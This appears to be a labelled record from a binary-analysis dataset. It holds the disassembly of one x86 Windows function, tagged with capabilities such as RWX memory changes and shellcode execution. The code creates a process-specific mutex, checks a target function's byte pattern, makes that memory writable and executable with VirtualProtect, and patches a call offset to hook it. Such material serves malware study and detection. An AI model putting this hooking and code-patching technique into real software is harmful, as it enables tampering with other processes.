Function at 0x10008070
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x18], 0
push 0
push 0x10027a10
call fcn.100065e0
mov dword [0x100301f4], eax
push 0
push 0x10027a2c
call fcn.100065e0
mov dword [0x100301f8], eax
lea ecx, [ebp - 0x14]
call fcn.1000ed90
push 0x20
lea eax, [ebp - 0x38]
push eax
push 0x10027a58
call fcn.100064a0
push 0x10027adc
lea ecx, [ebp - 0x38]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov byte [ebp - 0x31], 0x72
mov byte [ebp - 0x30], 0x64
mov byte [ebp - 0x2f], 0x65
mov byte [ebp - 0x2e], 0x63
mov byte [ebp - 0x2d], 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea edx, [ebp - 0x38]
push edx
push str._s__x
lea eax, [ebp - 0x14]
push eax
call fcn.1000fc10
add esp, 0x10
lea ecx, [ebp - 0x14]
call fcn.1000f440
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov edx, dword [ebp + 8]
cmp dword [edx], 0
je 0x10008246
push 0xffffffffffffffff
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [ebp + 0xc]
mov dword [0x100301e8], edx
mov eax, dword [ebp + 0x10]
mov dword [0x100301ec], eax
cmp dword [0x100301f4], 0
je 0x10008152
cmp dword [0x100301f8], 0
jne 0x1000822a
push 1
push 0x100279f4
call fcn.10006650
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 0x40]
mov eax, dword [edx]
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x40]
mov edx, dword [ecx + 4]
and edx, 0xffffff
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x40]
mov cl, byte [eax + 7]
mov byte [ebp - 0x46], cl
mov edx, dword [ebp - 0x40]
mov al, byte [edx + 8]
mov byte [ebp - 0x51], al
mov ecx, dword [ebp - 0x40]
mov dl, byte [ecx + 9]
mov byte [ebp - 0x45], dl
cmp dword [ebp - 0x50], 0x4244c8b
jne 0x10008228
cmp dword [ebp - 0x4c], 0x241c8b
jne 0x10008228
movzx eax, byte [ebp - 0x46]
cmp eax, 0x51
jne 0x10008228
movzx ecx, byte [ebp - 0x51]
cmp ecx, 0x53
jne 0x10008228
movzx edx, byte [ebp - 0x45]
cmp edx, 0xe8
jne 0x10008228
lea eax, [ebp - 0x3c]
push eax
push 0x40
push 4
mov ecx, dword [ebp - 0x40]
add ecx, 0xa
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10008228
mov edx, dword [ebp - 0x40]
mov eax, dword [edx + 0xa]
mov ecx, dword [ebp - 0x40]
lea edx, [ecx + eax + 0xe]
mov dword [0x100301f0], edx
mov eax, 0x10008000
sub eax, dword [ebp - 0x40]
sub eax, 0xe
mov ecx, dword [ebp - 0x40]
mov dword [ecx + 0xa], eax
lea edx, [ebp - 0x3c]
push edx
mov eax, dword [ebp - 0x3c]
push eax
push 4
mov ecx, dword [ebp - 0x40]
add ecx, 0xa
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 0x18], 1
jmp 0x10008246
push 0x10007f90
push 1
call dword [0x100301f4]
mov dword [ebp - 0x58], eax
xor edx, edx
cmp dword [ebp - 0x58], 0
setne dl
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], 0
jne 0x10008264
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x5c], ecx
lea ecx, [ebp - 0x14]
call fcn.1000f060
mov eax, dword [ebp - 0x5c]
mov esp, ebp
pop ebp
ret 0xc